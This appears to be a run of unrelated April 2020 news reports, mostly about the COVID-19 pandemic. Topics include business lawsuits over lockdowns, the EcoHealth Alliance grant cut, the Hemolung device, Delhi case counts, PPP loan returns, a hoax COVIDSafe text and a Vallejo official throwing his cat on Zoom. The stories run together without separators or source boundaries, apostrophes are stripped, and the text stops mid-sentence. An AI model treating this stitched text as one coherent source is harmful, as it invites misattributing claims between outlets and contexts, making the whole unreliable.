Russia is rushing to turn regular hospitals into virus facilities, as well as building new medical spots and turning large public places into temporary hospitals. Moscow plans to open two new hospitals with 1,500 beds each in the defence ministry's Patriot museum and in the Crocus exhibition centre, local media says. St Petersburg is planning to turn exhibition centre Lenexpo, which used to host Russia's top economic forum, into a temporary hospital with 1,000 beds. Seven small businesses in California are suing Gov. Gavin Newsom, Mayor Eric Garcetti and other Los Angeles officials over closures due to the coronavirus. The lawsuit alleges that forced shutdowns of small businesses violate civil liberties and have a long-term economic impact. "Defendants' orders have proximately and legally caused tremendous financial harm not just to Plaintiffs businesses, but to the entire California economy," the suit says. "We've got small businesses that have been effectively put out of business or forced to close literally without rhyme or reason," lead attorney Mark Geragos of Geragos and Geragos in Los Angeles told ABC News. PHOTO: Two women peer into a closed store in downtown Los Angeles during the coronavirus COVID-19 pandemic on April 14, 2020. (Robyn Beck/AFP via Getty Images) The seven businesses include Gondola Adventures, Inc.; Hernandez Productions, Inc.; King's Pet Grooming, Inc.; Sol De Mexico, Inc.; Wildfire, Inc.; Ybanz Gonzalez, Inc.; and Yreka Food Enterprises, LLC. "Non-Essential businesses might never financially recover as a result of Defendants' Orders and may end up entirely out of business," the suit states. Nations, US states each chart their own path on reopening Geragos says they believe the decision to shut down should be left up to each individual business. PHOTO: In this April 2, 2020, file photo, a homeless man walks past closed stores in the Fashion District in downtown Los Angeles. (Apu Gomes/AFP via Getty Images, FILE) "Our country was built on the premise of life, liberty and the pursuit of happiness, and today in 2020 those freedoms are being stripped away from law-abiding citizens and businesses, without rational thought or a rational basis," Geragos told ABC News. COVID-19 jobless rates will be comparable to Great Depression: Trump economic adviser This suit is being brought against Gov. Gavin Newsom, Mayor Eric Garcetti, the counties of Los Angeles, Orange, Ventura and Riverside, the Los Angeles Board of Supervisors, the Sheriff of Los Angeles, the Los Angeles Public Health Officer, and the State of California Public Health Officer. "As well-intentioned as these Orders are with respect to the general public's health, safety and welfare," the lawsuit reads, " they have come at a steep price with respect to the complete and utter restraint on Californians' civil rights and liberties." Story continues What to know about the coronavirus: How it started and how to protect yourself: Coronavirus explained What to do if you have symptoms: Coronavirus symptoms Tracking the spread in the U.S. and worldwide: Coronavirus map Tune into ABC at 1 p.m. ET and ABC News Live at 4 p.m. ET every weekday for special coverage of the novel coronavirus with the full ABC News team, including the latest news, context and analysis. Small business owners file suit against Gov. Newsom, other CA officials over coronavirus closures originally appeared on abcnews.go.com CLEVELAND, Ohio -- The owners of the landmark Cleveland Heights restaurant Nighttown have filed a potential class-action lawsuit against an Ohio-based insurance company that has refused to cover lost income due to the coronavirus pandemic. Cincinnati Insurance Company denied to pay Nighttowns claim after determining that business lost due to the states stay-at-home orders that banned dine-in services at bars and restaurants were not covered because the virus did not result in physical damage to property, according to the lawsuit and a letter attached to it as an exhibit. The restaurant filed a lawsuit on Friday in Cuyahoga County Common Pleas Court that asks a judge to order the company to cover claims related to the virus, and to grant class-action status that would allow any business with a coronavirus-claim that was denied by Cincinnati Insurance to join the suit. These restaurants and other businesses have paid their premiums for years in and years out, and now when they need their insurance company, its not there, Eric Kennedy, an attorney at the Cleveland-based Weisman, Kennedy and Berris law firm that is among the firms who filed the suit, said. Kennedy said he has talked to several other businesses who are interested in joining the lawsuit should they win class-action status. We respect the rights of all parties to have their issues heard and resolved in a court of law. For that reason, we dont comment on ongoing litigation, Betsy Ertel, a spokeswoman for Cincinnati Insurance, said in a Monday email. Several other restaurants, including Mitchells Ice Cream and the company that owns the Marble Room, Lockkeepers, Il Venetian and St. Clair Ballroom, have sued the same company in separate cases. Expressions Bridal in Mentor has also sued its insurance company, Owners Insurance, in U.S. District Court in Cleveland. Ohio Gov. Mike DeWine and Health Director Amy Acton issued orders on March 22 for all non-essential businesses to close as the COVID-19 virus began to spread throughout the state. DeWine on Monday announced a plan to allow some businesses to reopen starting May 1. Retail stores will be allowed to reopen with strict health measures in place on May 12, but there is no timetable for when salons and restaurants may be allowed to reopen, DeWine said. A bill pending in the Ohio House of Representatives would force insurance companies to cover losses due to COVID-19-related closings. Rep. Jeffrey Crossman of Parma and Rep. John Rogers of Mentor-on-the-Lake, both Democrats, introduced the bill on March 24. The Republican-dominated legislature has yet to vote on the proposal. The American Property Casualty Insurance Association, a group that lobbies lawmakers on behalf of insurance companies, estimated earlier this month that the countrys small businesses are expected to report between $255 billion and $431 billion in looses per month due to coronavirus-related shut-downs. The group said that the insurance industry collects approximately $6 billion a month in premiums. Read more stories Mentor bridal shop among businesses suing insurance companies for not covering losses during coronavirus pandemic Gov. Mike DeWines plan to reopen Ohio businesses relies on the public to report health violators Republican state lawmakers sign on to plan calling for immediate and full re-opening of Ohio businesses Mapping Ohios 16,325 coronavirus cases, Mondays update, trends Ohios plan to reopen after coronavirus is more cautious than many other states Kylie Jenner seemed to have a fun Monday in lockdown with her BFF Stassie Karanikolaou laying by the pool and filming Tik Toks. But by Monday night it was back to mom-mode for the 22-year-old mogul, who tried to wrangle her two-year-old daughter Stormi for bed. Kylie's daughter, who she shares with Travis Scott, did not seem to want the party to end. Mom-mode: After a day lounging by the pool and sizzling in Instagram snaps, Kylie Jenner was back in mom-mode Monday night wranglign daughter Stormi, 2 Kylie seemed ready to leave in her black leather coat, cinched at the waist with a tie. Her ombre brown to blonde hair flowed down her back as she walked Stormi through the new Holmby Hills estate she recently purchased. 'We're going home,' Kylie yelled at Stormi, who was dressed in a darling white sweater. But the toddler fought back, squirming in her mom's arms and nearly flipping over her shoulder yelling 'I'm not going! Let me go!' Time to go: Her ombre brown to blonde hair flowed down her back as she walked Stormi through the new Holmby Hills estate she recently purchased. 'We're going home,' Kylie yelled at Stormi, who was dressed in a darling white sweater Fighting back: But the toddler fought back, squirming in her mom's arms and nearly flipping over her shoulder yelling 'I'm not going! Let me go' Stassie could be heard laughing at the dramatic scene as she appeared to be behind the lens. Kylie also seemed to laugh at the situation captioning the video 'a visual representation of how my friends are gonna have to drag me out the first party post quarantine.' The Kylie Cosmetics founder has been on lockdown for over a month as Los Angeles has shut down all non-essential businesses and issued safer-at-home orders, in an attempt to limit the spread of the novel coronavirus that has over one million cases and over 56k deaths in the U.S. Earlier: Kylie was cuddled up on the couch with Stormi earlier in the evening Tiger King fans: Earlier in the day Kylie and Stassie took part in TikTok's 'Savage Tiger King Edition' challenge on Monday, which they did while dancing in their bikinis Earlier in the day, the BFFs were the latest celebs to show their love for the Netflix show Tiger King, by taking part in the viral challenge on TikTok. Stassie, 22, filmed herself and Kylie doing the 'Savage Tiger King Edition' challenge on Monday, which they did while dancing in their bikinis. The sonic mash-up features lines from the Netflix true-crime series Tiger King, which questions whether Carole Baskin murdered her missing husband Don Lewis, set against the beat of Megan Thee Stallion's "Savage." Bizarre: The sonic mash-up features lines from the Netflix true-crime series Tiger King, which questions whether Carole Baskin murdered her missing husband Don Lewis As the pair giggle and dance, you can hear audio that says: 'Carole Baskin killed her husband, whacked him. Can't convince me that it didn't happen. Fed him to tigers, they snackin'. What's happening? Carole Baskin.' Baskin denies she killed her second husband, who disappeared in 1997 and was declared dead in 2002. The millionaire owner of exotic cat sanctuary, Wildlife on Easy Street, mysteriously disappeared on August 18, 1997 shortly before Baskin took control of his will and estate over his first wife Gladys Lewis Cross. Bikini babes: They showed off even more as they posted some videos from the pool, flaunting their curves in string bikinis. Kylie sizzled in a black two-piece, while Stassie, 22, donned a pink and blue tie-dye number Dancing queens:They also performed a choreographed dance after enjoying some sun by the pool during isolation New records released by the Dept of the Taoiseach under the Freedom Of Information Act show that Mr Varadkar received 530 emails in the hours after his St Patrick's Day address to the nation on the Covid-19 pandemic, and the following two days. The records show that 106 emails were sent on the night of the speech and followed up with 268 emails on March 18 and 156 on March 19. A record breaking 1.6 million watched the St Patrick's Day broadcast. A memo to Government has since warned that the next phase of the Coronavirus crisis has the potential to be "far more divisive. However, copies of the first 100 emails sent to the Taoiseach after his St Patricks Day address released show that the vast majority of the emails are laudatory as the country braced itself for a number of weeks lockdown in response to Covid 19. WATCH: Taoiseach Leo Varadkar delivers Ministerial Broadcast to the country about the Covid-19 pandemic | Read more: https://t.co/5DnhnO5zAz https://t.co/irOPKnN3Ci RTE News (@rtenews) March 17, 2020 One person who emailed at 9.26pm on St Patricks night wrote to Mr Varadkar with the subject line Statemanship. The emailer wrote: Dear Taoiseach, What a powerful St Patricks Day message to our nation. Such calm words of comfort and restraint. Sent shivers down by spine reminding me of Churchill declaring war on Germany. We as a nation will work together to fight this virus. The laudatory theme continued with another emailer writing to say: Hi Leo, your speech tonight was absolutely superb. Well done. It made me proud to be Irish and brought a tear to my eye. You are playing an absolute blinder leading us through this crisis. Thank you for all your hard work and perseverance. You have my eternal gratitude and admiration. Not all emails were complimentary. One businessman wrote: Further to your We are in this together statement, we are not in this together - you still (have) your 250,000 salary, expenses, driver and car. Your Ministers get their 200k salaries, drivers and cars as do the senior civil servants. And lets not forget the hundreds of thousands of other State employees who will continue to get their salaries. Another unhappy with the speech wrote to express my deepest disappointment in your announcement this evening. She told Mr Varadkar: I feel that you have let the country down this evening in terms of using your national platform to give nothing other than what we already know to the people. You continue to speak of flattening the curve, but how is that possible when people continue to go out and about? 'Proud to be Irish' Another emailer wrote to the Taoiseach at 9.35pm on the night to write I have always felt so proud to be Irish, but tonight that pride went to new heights while listening to your speech. The emailer stated: You were certain and assured and instilled a sense of calm and order. Your words were so carefully chosen to rally us and inspire each other in this challenging time here in Ireland. Thank you for your leadership, intelligent understanding of this frightening situation and for your compassion for humanity. Another wrote to state: Leo, thank you for your calm reassurance, passion and professionalism in tonights St Patricks Day address. You are a leader of this country can be proud of - please continue to do your level best to guide our wonderful country along the treacherous path ahead. I also want to applaud the efforts of Simon Coveney and Simon Harris who are both doing amazing work in their respective departments. Another was short and succinct Well done, that was some speech. Donald Trumps administration has slashed funding for a New York-based research group studying how various coronavirus strains spread from bats to people after it became linked to unfounded conspiracy theories seemingly supported by the president. EcoHealth Alliance has received over $3.7m in funding throughout the last five years to study the possibility of coronavirus transmissions between bats and humans research it said was critical to preventing pandemics in a statement. Mr Trump said we will end that grant very quickly at a White House press briefing earlier this month in response to a question from a Newsmax reporter, who inaccurately suggested that the entire $3.7m in funds to the group had actually been directed to a lab in Wuhan, China. That lab is at the heart of unfounded allegations not supported by US intelligence agencies or leading health officials, which claim without evidence the Covid-19 outbreak began after somehow escaping the facility during a project. Some rumours claim the outbreak was the result of a mistake, while others say it was done on purpose; many scientists do not support either of those theories. Instead, analysts have said the conspiracy theories are likely in part the result of a severe lack of transparency from China in the initial months of the pandemic. US agencies have launched probes to determine whether the lab was, in fact, conducting a coronavirus study and how that may have possibly impacted the ongoing pandemic, though officials have noted investigations remain inconclusive. But the president leaned into the accusations earlier this month during the press briefing, blaming his predecessor for granting the funds and saying his administration was reviewing the matter. The Obama administration gave that lab in 2015 $3.7m in a grant, the reporter claimed. Why would the US give a grant like that to China? Mr Trump responded: The Obama administration gave them a grant of $3.7m, Ive been hearing about that, and weve instructed that if any grants are going to that area, were looking at it literally about an hour ago and also earlier in the morning. We will end that grant very quickly. It was granted quite a while ago, they were granted a substantial amount of money, he added. Who was president then, I wonder? Emails later obtained by Politico showed the National Institutes of Health ordering EcoHealth Alliance to stop spending a remaining $369,819 from its annual grant. That email also said all future funding to the research group had been suspended. Michael Later, deputy director for extramural research at NIH, reportedly wrote to the group: At this time, NIH does not believe that the current project outcomes align with the program goals and agency priorities. EcoHealth Alliance has confirmed it collaborated with researchers from the facility while using funds from a previous grant. The conspiracy theories point to the fact that EcoHealth Alliance has previously published reports that include at least one scientist from the Wuhan lab in 2018. The group had reportedly been going back and forth with NIH about the funding in a series of emails soon after EcoHealth Alliance became linked to the Wuhan lab. The groups president, Pete Daszak, has confirmed that it did not send the entirety of its funds to the Chinese facilities, and made that clear in emails to the institute. I can categorically state that no fund from [the grant] have been sent to the Wuhan Institute of Virology, nor has any contract been signed, Mr Daszak reportedly wrote to the NIH in one email. The group said in a statement to Politico that it would be reaching out to the NIH to understand the rationale behind their decision. For the past 20 years our organisation has been investigating the sources of emerging diseases such as COVID-19, the statement read. We work in the United States and in over 25 countries with institutions that have been pre-approved by federal funding agencies to do scientific research critical to preventing pandemics. We are planning to talk with NIH to understand the rationale behind their decision. PITTSBURGH (April 27, 2020) ... A device designed at the University of Pittsburgh could help improve outcomes as a treatment for COVID-19 when used in conjunction with non-invasive or mechanical ventilation, and it recently received Emergency Use Authorization (EUA) from the U.S. Food and Drug Administration. Health records from a New York study showed that close to 90 percent of patients who were placed on mechanical ventilation did not survive.1 Some intensive care units are now considering mechanical ventilation as a last resort because of the complications and side effects associated with the process, and researchers believe this device could help. The Hemolung Respiratory Assist System is a minimally invasive device that does the work of the lungs by removing carbon dioxide directly from the blood, much as a dialysis machine does the work of the kidneys. The device was developed by William Federspiel, PhD, professor of bioengineering at Pitt's Swanson School of Engineering, and the Pittsburgh-based lung-assist device company ALung Technologies, co-founded by Federspiel. A public health emergency related to COVID-19 was declared by the Secretary of Health and Human Services on February 4, 2020, and the FDA issued ALung the EUA to treat lung failure caused by the disease. Hemolung could help eliminate damage to the lungs caused by ventilators and does not require intubation or sedation, which allows patients to remain mobile during treatment. "Ventilation can cause serious issues in lungs that are already being damaged by the disease itself," said Federspiel. "The Hemolung would allow the lung to rest and heal during the ventilation process by allowing for gentler ventilation. It could also prevent certain patients, who have less severe symptoms, from having to go on ventilation in the first place." Mechanical ventilation requires patients to be sedated and intubated, and a myriad of complications can arise from the treatment, including collapsed lung, alveolar damage, and ventilator-associated pneumonia. For these more critically ill patients, the Hemolung could be used to help remove CO2, which would allow the mechanical ventilation process to be done more gently. Before resorting to mechanical ventilation, less severe COVID-19 cases can use non-invasive ventilation, which uses a mask to help support breathing, but sometimes this treatment is not sufficient. In this case, the Hemolung device could be used to support the non-invasive methods and prevent mechanical ventilation altogether. Peter M. DeComo, Chairman and CEO of ALung Technologies, stated, "With published mortality rates as high as 90% for patients receiving invasive mechanical ventilation (IMV), we believe that the Hemolung can be a valuable tool for physicians to be used in conjunction with IMV, by reducing or eliminating the potential of further lung damage caused by high ventilator driving pressures, often referred to as Ventilator Induced Lung Injury. Many of the academic medical centers involved with our clinical trial have already requested the use of the Hemolung RAS for treatment of their COVID-19 patients." Created to help chronic obstructive pulmonary disease (COPD) and acute respiratory distress syndrome (ARDS) patients, Hemolung has already been used on thousands of patients in Europe, where it was approved in 2013, and it is currently in clinical trials in the United States. Since the onset of the pandemic, the device has been used on some COVID-19 patients with success; however, set-up of the Hemolung is not trivial. Medical professionals would need to be trained to use the technology, and it would take time to supply a significant number of devices. Federspiel also holds appointments in the School of Medicine and the McGowan Institute for Regenerative Medicine (MIRM) at Pitt and is a Fellow of the National Academy of Inventors. "This technology developed by Dr. Federspiel and ALung Technologies is a perfect example of how collaborative research at the McGowan Institute can impact human lives," said William Wagner, director of MIRM and professor of surgery, bioengineering and chemical engineering at Pitt. "A clinical viewpoint is necessary, but medical training doesn't give you an engineer's perspective of design and manufacturing. You need a solid foot in both camps to make progress." ### 1: Most COVID-19 Patients Placed on Ventilators Died, New York Study Shows, https://www.usnews.com/news/health-news/articles/2020-04-22/most-covid-19-patients-placed-on-ventilators-died-new-york-study-shows The first 1,000 coronavirus cases in Delhi were reported over a period of 42 days but the number of COVID-19 patients in the city went up from 2,000 to 3,000 in eight days, according to data shared by authorities. The national capital reported its first coronavirus case on March 1, when a businessman living in east Delhi tested positive for the deadly virus after his return from Italy. On April 11, the number of cases crossed the 1,000-mark, totalling 1,069, while the corresponding figure stood at 903 the previous day. The death toll on April 11 was 19. On April 13, the number of fresh COVID-19 cases in Delhi plummeted to 356, its highest by far on a single day. However, the same was just 17 two days later on April 15, a fluctuation that experts have said points to the pace of contact tracing and a possible indication that the infection has not gone to the community. The erratic numbers also reflect the time taken - four to five days - for results of the RT-PCR test being used in India currently since the rapid antibodies test kits are yet to arrive, the experts said. There was no discernible trajectory around mid-April with the number of cases going up and down erratically. On April 10, the city recorded 183 fresh cases, including 154 from the Tablighi Jamaat congregation in Nizamuddin. On April 11, it was 166, April 12 (85), April 13 (356), April 14 (51) and April 15 (17). The cases crossed the 2,000-mark on April 19, when the total cases stood at 2,003 with 45 fatalities, the doubling of cases from the 1,000-mark happening in eight days. On April 27, the total number of coronavirus cases in the national capital went up by 190 cases to 3,108, according to the Delhi government authorities, crossing the 3,000-mark in the city. The last 1,000 cases again being recorded in eight-day span. The death toll till Monday was 54, with no fresh fatalities reported on April 26-27. The total number of patients who have recovered till April 27 stands at 877 and active cases at 2,177. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Fifteen inmates were on Tuesday granted state pardon from the Nigeria Correctional Centre, Oyo State, in line with the federal government decision to decongest the centre due to COVID-19 pandemic. This was disclosed in a statement issued in Ibadan, by the Public Relations Officer of the state Correctional Centre, Anjorin Olarewaju, an assistant superintendent of police. Mr Olarewaju said Governor Seyi Makinde granted state pardon to the 15 convicted inmates. In line with the decision of the federal government to decongest Correctional Centres across the country to prevent the spread of COVID-19, the Governor of Oyo State, Seyi Makinde, has granted State pardon to 15 convicted inmates. Nine of the inmates were released in Agodi Custodial Centre, while the remaining six were set free in Oyo Custodial Centre. READ ALSO: The Controller of Corrections Service, Oyo Command, Tosin Akinrujomu, went to the two centres today to release the inmates after receiving the list from the governor, Mr Olarewaju said. The controller congratulated the pardoned inmates and implored them to be good citizens of Nigeria. He reminded them on the need to maintain social distancing and keep themselves safe from the COVID-19 pandemic. (NAN) Treasury Secretary Steve Mnuchin told CNBC Tuesday that the Small Business Administration would undertake a "full review" of any loan that exceeds $2 million under the Paycheck Protection Program (PPP). The big picture: Mnuchin's announcement comes after large corporations and organizations like Shake Shack and the Los Angeles Lakers, which both returned their loans have come under fire for receiving cash from the coronavirus stimulus program. "I think it was inappropriate for most of these companies to take the loans. It was clear there was a certification. We don't think that they ever should have been allowed to," Mnuchin told CNBC. The state of play: The government has set up guardrails for who should and shouldn't apply as the PPP opened its second round of applications this week. Note: Axios qualified for a loan under this program. More details here. Lodi (N.J.) police with protective masks delivered by businessmen who started "Operation Batman" to supply equipment to workers on the front lines of the battle against COVID-19 pandemic. Read more In comic books, the bat signal is a stylized emblem projected in the night sky over Gotham City, an urgent call for help. Drew Katz, Joe Cohen, and Robert LoCascio are far from superheroes. The businessmen are the first to make that clear. But they recognized the need to help medical workers, first responders, and countless others who are on the front lines of the battle against the coronavirus. They also knew they were in a position to make a difference. So theyve undertaken an ambitious effort to procure and distribute protective masks to hospitals, police precincts, fire stations, nursing homes, and other places where workers run high risks of exposure and infection. They call their project Operation Batman. We needed to have a name for it internally, said Katz, a Philadelphia-area entrepreneur and philanthropist. Were delivering masks. Batman was the masked man. The businessmen have used their financial resources, connections, and expertise to procure thousands of masks, mailing out dozens of shipments that have ranged in size from 50 to 200 units (each unit contains five masks) to the Ronald McDonald House in Camden, Little Sisters of the Poor elderly home in Totowa, N.J., St. Marys Medical Center in Langhorne, Pa., and Elmhurst Care Center in Queens, N.Y., among numerous other places. The masks have arrived in a box, like a surprise gift from distant and admiring benefactors, with a label with these words printed inside a large pink heart: We are in awe of all that your teams and you are doing on the front lines of this battle. Your brave commitment is what is going to save our country. We have purchased these KN95 masks for your staffs protection as a way of saying, THANK YOU! Katz said smaller organizations such as nursing homes and long-term care facilities, first-aid squads, local hospitals, and police and fire departments are filled with individuals who are in the second, third, and fourth line of defense and have struggled to acquire equipment because of the massive need by major hospitals and medical centers. Separately, Katz purchased and distributed 50,000 masks which had been procured by Cohen through his supply chain contacts in China to Temple University Hospital. Katz, who grew up in Cherry Hill and maintains a residence in Philadelphia, is a member of Temples board of trustees. He is the son of the late Lewis Katz, who was an owner of The Inquirer before he died in a 2014 plane crash. Were all just trying to do what we can, where we can, when we can, said Drew Katz, chief executive officer of Interstate Outdoor Advertising and creator of the Rachel and Katz Foundation, a charitable organization with an emphasis on support for at-risk children. Katz said the efforts of Cohen, LoCascio, and himself sprung from a spirit of philanthropy inspired by others. I was raised by my parents to try to make the world a better place, Katz said. Personally, it has been devastating to me to see the carnage to the world, the carnage to our economy, created by this virus. Ive personally lost three friends in [April]. I think all three of us feel the same way, that we need to try to do what we can, however we can. Cohen, who owns Snow Joe and Sun Joe, an outdoor equipment business based in Carlstadt, N.J., said he was disgusted by price gouging that arose in the marketplace as state governments, municipalities, hospitals, police and fire departments, and others scrambled to acquire personal protective equipment in the early days of the spread of the disease. Through his business connections in China and elsewhere, Cohen has been able to procure large shipments of masks and has turned his current focus to selling non-medical-grade equipment to consumers. Cohen said average consumers have been largely underserved in the rush to protect those on the front lines. Cohen said his business had a robust supply chain overseas that has been disrupted by the complications and urgency created by the coronavirus. Its a living hell, Cohen said. Its like the Wild, Wild West every day. The prices are changing every day. Its just a mess. Cohen and Katz said the businessmen plan to continue Operation Batman as long as there is a need for masks. Just to be able to help in some small way, its a great feeling, and something were committed to helping as much as possible, Cohen said. Indians experienced the slowest internet speeds in at least two years in March when the country locked down to slow the spread of the Coronavirus disease, analysis of data from the governments MySpeed application showed. The nationwide lockdown began in the last week of March while some states ordered closure of schools and a ban on public gatherings even before that, which led to people staying home. Hindustan Times last week reported, from government data, that Indias daily average internet consumption in the week beginning March 22 (Janata curfew day) was 13% more than the average daily consumption in the previous week. The MySpeed application by the Telecom Regulatory Authority of India (TRAI) collects data by occasionally testing internet speed on smartphones of users who have installed the application. The authority then makes six-month average results and raw data public. An analysis of the raw data from the application showed that median download speeds were 2.8 megabits per second in March. This was the lowest monthly median download speed in at least two years, since April 2018, when the app started tracking speeds. The median upload speed of 1.9 Mbps was also the lowest in the two years. Before this March, the download speed was the lowest in December 2019 (3.5 Mbps) while the upload speed was the lowest in October 2019 (2 Mbps). Specifically, 4G users got a median download speed of 3.1 Mbps speed while 3G users got a median of 0.8 Mbps speed, both the lowest in two years. Median is considered a better measure of central tendency than the mean, when there are extreme values that could skew calculations. The median download and upload speeds in February this year were 4.2 and 2.4 Mbps, compared to 2.8 and 1.9 Mbps in March, which means a drop of 34% and 20% respectively. This drop in the internet speeds was seen across all major telecom operators -- Airtel, Vodafone-Idea, Jio and the state-owned Bharat Sanchar Nigam Limited. Median download speeds on all these networks were their lowest in two years. Also, the download speed in 16 of the countrys 23 telecom circles dropped to the two-year low in the respective states. Ookla, an internet testing and analysis company, has also reported that download speeds on mobile devices in India declined by about 14% and on fixed broadband by about 9% between February and March this year. As the nationwide lockdown that India imposed led to a surge in internet consumption, several video streaming applications jointly decided on March 25 to temporarily suspend high definition and ultra high definition video options to help telecommunication services run smoothly with the increased demand. This came after the Cellular Operators Association of India (COAI), an association of private telecom operators, called for such measures to reduce the burden on the networks during the lockdown. When asked for a comment, COAI officials said that they will look into the data and then issue a comment. Till the time of going to print, they had not issued a statement. That there has been a spike in demand for high data consuming services such as video streaming portals is evident with data from Google Trends, a tool that helps analyse the popularity of search queries. Youtube, Netflix and Amazon Prime names of some of the prominent video streaming websites and general terms such as movies and web series were at the peak of their search popularity during the nationwide lockdown, in comparison to any time in the last one year. Other than this, many schools and colleges started online classes while businesses made more use of e-meeting platforms for video conferencing. To be sure, the drop in internet speed in March was seen even as the country started to lock down only in the later half of the month. Whether Indians continued to experience slower internet or the telecom operators were able to scale up the capacity of their infrastructure allowing faster internet connectivity will be known when the data for April is made available. SHARE THIS ARTICLE ON Hyderabad, April 28 : A sanitation worker of the Greater Hyderabad Municipal Corporation (GHMC) has donated Rs 10,000 to the Telangana Chief Minister's Relief Fund. The big-heart, who draws only Rs 12,000 monthly salary, met Municipal Administration Minister K.T. Rama Rao, here on Tuesday, and handed over his donation. Her gesture hugely impressed the Minister, who has been receiving huge donations from industrialists and prominent personalities on a daily basis. He appreciated Alivelu for her commitment towards the society and applauded her gesture. She has been delivering services as a sanitation worker in the Tolichowki circle for the past five years. Her husband Sailam is a daily wager at a vegetable market and her two children are studying in school. Alivelu said many suggested her not to contribute money during these difficult times. But her husband and children who stood by her and encouraged her to contribute. A New York City police officer monitors events during the 2019 Nathan's Famous Fourth of July hot dog eating contest on Coney Island, New York, on July 4, 2019. (Don Emmert/AFP/Getty Images) Nathans Famous Hot Dog Chain Returning $1.2 Million COVID-19 Relief Loan Nathans Famous hot dog chain has joined the ranks of companies returning COVID-19 relief loans amid outrage over big firms tapping the emergency funds meant to keep mom and pop shops afloat during the pandemic. The Coney Island restaurant, known for hosting an annual hot dog eating contest, announced in a Monday filing with the Securities and Exchange Commission that it would return the $1.2 million it had received under the Paycheck Protection Program (PPP), the small business loan scheme that was so popular it ran out of money. The company, valued at some $253 million, is the latest firm to return money after getting a PPP loan. Others to do so include Shake Shack, Ruths Chris, and the Los Angeles Lakers. Nathans Famous said in the filing it received the PPP loan several days before the Trump administration issued new guidance (pdf) discouraging companies with substantial market value from applying for the relief funds, which many small businessesdesperate to make ends meet amid the pandemiccould no longer access when the fund was depleted in mid-April. The PPP scheme was created as part of the $2.4 trillion Coronavirus Aid, Relief and Economic Security Act signed into law by President Donald Trump on March 27. Known as the CARES Act, the emergency relief bill initially earmarked $349 billion for businesses with fewer than 500 employees. Big companies were able to apply for the PPP relief loans under an exemption allowing restaurants and hotels to apply for the funds as long as they didnt have more than 500 employees at one location. We are seeing tremendous backlash because hundreds of thousands of small businesses have not gotten PPP loans, Chris Allieri, the founder of communications consulting firm Mulberry & Astor, told Business Insider. Many have had to cease operations because they cant wait until the next pot of money is approved. President Trump on Friday signed a new relief bill that replenished the PPP funds with an additional $310 billion. The new guidance clarifies conditions for applying for the loans, including that firms must certify that they need the loans and that they cannot access funds elsewhere. Borrowers still must certify in good faith that their PPP loan request is necessary, the Small Business Administration, which administers the loans, stated in the new guidelines (pdf). It is unlikely that a public company with substantial market value and access to capital markets will be able to make the required certification in good faith, and such a company should be prepared to demonstrate to SBA, upon request, the basis for its certification. As of Tuesday morning, at least 248 public companies had disclosed receiving some $905 million in PPP loans, according to data analytics company FactSquared, which compiled SEC filings. Hundreds of tracking app users have received hoax text messages telling them they are in violation of lockdown laws. People who downloaded the COVIDsafe app were texted and told they were detected travelling too far from their home, which is against social distancing measures. 'The COVIDsafe App has detected you are now +20km from your nominated home address,' the hoax text message read. The app uses people's name, postcode, age range and phone number to help health officials identify people who have come into contact with anyone infected with the virus. More than two million Australians have downloaded the coronavirus tracing app within a day of its release, far exceeding expectations. A fake message was sent to hundreds of users telling them they were detected travelling too far from their home 'Please register your reason for travel by calling 1300 1MY GOV within 15 minutes of receiving this SMS,' the text continued. The Australian Federal Police said it will investigate the hoax. The voluntary app became available for download on Sunday evening and has the backing of doctors, nurses, businesses, bankers and travel agents. Health Minister Greg Hunt was thrilled with the uptake. Having initially expected the figure might hit one million within five days, it got to the mark in five hours, he said. The COVIDSafe app uses utilises users' name, postcode, age range and phone number to help health officials identify people who have come into contact with anyone infected with the virus More than two million Australians have downloaded the coronavirus tracing app within a day of its release, far exceeding expectations The figure rose to two million by Monday evening. 'This effort will help protect ourselves, our families, our nurses and our doctors,' he tweeted. Chief medical officer Brendan Murphy said the government would never have access to the data collected. 'We have locked this down so completely, so thoroughly with the biosecurity rule, with legislation that is coming, the only people who can access the data are the state and territory health officials,' he told reporters. 'We have a compact with the Australian public: this app will only ever be used by public health officials in the purposes of contact tracing. And Mr Hunt confirmed people concerned about privacy could use a fake name to register. The other personal information collected is a phone number, age range, and home postcode. Prime Minister Scott Morrison had said 40 per cent of the population needed to install the app for it to be effective. The government has been campaigning for Australians to use the app as a prerequisite to swiftly end strict lockdown measures. Poll Have you downloaded the COVIDSafe app? Yes No Have you downloaded the COVIDSafe app? Yes 90 votes No 120 votes Now share your opinion The app uses Bluetooth technology to track users who come in close contact with people who have tested positive to coronavirus. Some people who tried to download the app reported there were issues getting confirmation emails, in having their phone numbers recognised, and that the app ceased sending a Bluetooth signal when the phone went into low power mode. Others were alarmed and confused by a message telling them that they had contracted coronavirus, despite not being tested. 'You have tested positive for COVID-19,' the message read. 'Unless you consent, your contact information will not be uploaded. 'If you consent, your contact information will be uploaded and shared with State or Territory health officials for contact tracing purposes.' The message flashes up if the user hits the button which ways 'Upload my Information' on the home screen of the app. The death toll was brought to 84 on Tuesday after an 89-year-old woman died at Newmarch House nursing home in western Sydney However that button is below text which reads 'Has a health worker asked you to upload your information?' and should only be pressed if the user has actually been diagnosed with coronavirus. A spokesman for Government Services Minister Stuart Robert said the message was not a flaw, and the app was working as intended. 'You don't upload if you haven't tested positive, that's the whole point of the app,' they told Daily Mail Australia. 'You're only supposed to push that button if you've been asked to by a health official if you've tested positive.' Chris Platzer, a planning commissioner in Vallejo, CA, in lower left, throws a cat in the air during a Zoom meeting last week. Image: City of Vallejo "OK, first, I'd like to introduce my cat," said Chris Platzer, a planning commissioner in Vallejo, California. He lifted the cat up to the camera, then with two hands, throwing the cat in the air off-screen. He was seen drinking beer, and allegedly called staff "bitches." He's in the doghouse now. "This type of behavior [throwing a cat during a zoom meeting] does not model the core values of the city of Vallejo." Vallejo Planning Commissioner Chris Platzer throws his cat during a commission meeting on Monday. pic.twitter.com/JObGphUMao John Glidden (@glid24) April 24, 2020 He has resigned. From the Times-Herald: Chris Platzer said in an email to the Vallejo Times-Herald on Saturday that he has resigned from the Vallejo Planning Commission, effectively immediately days before the Vallejo City Council was set to consider a resolution removing him from the seven-person commission. Platzer Vallejo spokesperson Christina Lee said the city was still attempting to confirm if Platzer had officially resigned from the commission. Platzer couldn't be reached for comment via phone on Saturday. Platzer was seen drinking a beer and throwing his cat through the air during a commission meeting held via teleconference on April 20. He was also heard by city staff making derogatory remarks after the online meeting had ended. "I'm going to call bull on you little bs," according to the original commission meeting video released by the city on Saturday. In his email to this newspaper, Platzer apologized for his actions. "I did not conduct myself in the Zoom meeting in a manner befitting of a planning commissioner and apologize for any harm I may have inflicted," Platzer wrote. "I serve at 